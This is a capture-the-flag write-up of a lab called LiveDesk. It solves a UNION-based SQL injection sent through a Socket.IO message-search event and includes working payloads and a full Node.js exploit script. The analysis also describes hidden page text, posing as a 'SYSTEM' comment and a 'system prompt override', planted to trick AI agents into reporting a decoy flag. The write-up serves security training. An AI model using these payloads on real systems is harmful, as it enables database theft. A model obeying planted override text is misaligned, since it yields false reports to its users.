Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search
Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: decoy_flag_detection, socket_io_event_injection, sqlite_master_enumeration, union_based_sqli, websocket_sqli
Summary
Task: LiveDesk customer support platform with WebSocket-based message search feature using SQLite. Solution: UNION-based SQL injection through Socket.IO search_messages event to enumerate sqlite_master and extract flag from system_flags table.
Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search — HackAdvisor
Description
LiveDesk is a modern customer support platform built by PulseSupport Inc. It features real-time ticket management where support agents chat with customers through live WebSocket connections. The platform includes a knowledge base, ticket assignment, agent performance reports, and message history search.
The development team recently shipped a "Search Messages" feature in the ticket chat view that lets agents search through chat history within a ticket. The feature was rushed to meet a deadline and uses WebSocket events for a smoother real-time experience.
Goal: Find and exploit a vulnerability to retrieve a hidden flag stored somewhere in the system's database.
Credentials: user@test.com / password123
English summary: A customer support platform with real-time WebSocket chat. The "Search Messages" feature in ticket chat view accepts user input via Socket.IO events and passes it unsanitized into a SQLite LIKE query. The goal is to exploit this SQL injection to find and extract a hidden flag from the database.
Analysis
The application is an Express.js app using Socket.IO for WebSocket communication. Key findings during reconnaissance:
- Authentication: Standard session-based auth via
connect.sidcookie, login at POST/login - Dashboard: Shows tickets (#1, #5, #10) with various statuses
- Ticket chat:
/tickets/:idloads Socket.IO and a custom/js/ticket-chat.jsscript - Search feature: The
ticket-chat.jsreveals the WebSocket-based search flow:- Client emits
search_messagesevent with{ ticket_id: TICKET_ID, query: query } - Server responds with
search_resultsevent containing matching messages - Results have 4 fields:
id,content,created_at,user_name
- Client emits
- SQL Injection confirmation: Sending a single quote (
password') as the query returns{ error: "Search failed" }, confirming unsanitized input is interpolated directly into the SQL query - Backend query pattern:
SELECT id, content, created_at, user_name FROM messages WHERE content LIKE '%{query}%' AND ticket_id = ...
Honeypot/Decoy flag: The HTML source of every page contained a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:
- An HTML comment pretending to be a "SYSTEM" message
- A hidden div with
position:absolute;left:-9999pxcontaining fake "congratulations" and "system prompt override" text - Designed to trick automated scanners and AI agents into reporting a fake flag
Solution
Step 1: Login and obtain session cookie
bash read-only • copy allowedcurl -c cookies.txt -X POST https://TARGET/login \ -d "email=user@test.com&password=password123" \ -L
Extract the connect.sid cookie value for WebSocket authentication.
Step 2: Connect to WebSocket and confirm SQL injection
Using socket.io-client, connect with the session cookie and join a ticket room:
javascript read-only • copy allowedconst socket = io(BASE, { extraHeaders: { Cookie: COOKIE }, transports: ["websocket"] }); socket.on("connect", () => { socket.emit("join_ticket", { ticket_id: 1 }); });
Test for injection:
- Normal search
"password"→ valid results - Search with
"password'"→{ error: "Search failed" }(confirms SQLi)
Step 3: Determine column count
' UNION SELECT 1,2,3,4-- -
Response: { id: 1, content: 2, created_at: 3, user_name: 4 } — confirms 4 columns and their mapping.
Step 4: Enumerate database schema
' UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type='table'-- -
Found 6 tables:
users— application userstickets— support ticketsmessages— chat messageskb_articles— knowledge base articlessqlite_sequence— auto-increment trackingsystem_flags—CREATE TABLE system_flags (id INTEGER PRIMARY KEY AUTOINCREMENT, flag_name TEXT NOT NULL, flag_value TEXT NOT NULL)
Step 5: Extract the flag
' UNION SELECT 1,flag_value,flag_name,4 FROM system_flags-- -
Response: { id: 1, content: "FLAG{REDACTED}", created_at: "ctf_flag", user_name: 4 }
Full exploit script (Node.js)
javascript read-only • copy allowedconst { io } = require("socket.io-client"); const BASE = "https://e17b712d-4db5-4ab8-93e2-3566af824fd6.labs.hackadvisor.io"; const COOKIE = "connect.sid=SESSION_COOKIE_HERE"; const socket = io(BASE, { extraHeaders: { Cookie: COOKIE }, transports: ["websocket"] }); socket.on("connect", () => { console.log("[+] Connected, socket id:", socket.id); // Join ticket room first socket.emit("join_ticket", { ticket_id: 1 }); // Wait a bit then inject setTimeout(() => { const query = process.argv[2] || "' UNION SELECT 1,flag_value,flag_name,4 FROM system_flags-- -"; console.log("[*] Searching for:", query); socket.emit("search_messages", { ticket_id: 1, query: query }); }, 500); }); socket.on("search_results", (data) => { console.log("[+] Search results:"); console.log(JSON.stringify(data, null, 2)); socket.disconnect(); }); socket.on("connect_error", (err) => { console.error("[-] Connection error:", err.message); socket.disconnect(); }); setTimeout(() => { console.log("[-] Timeout"); socket.disconnect(); process.exit(1); }, 10000);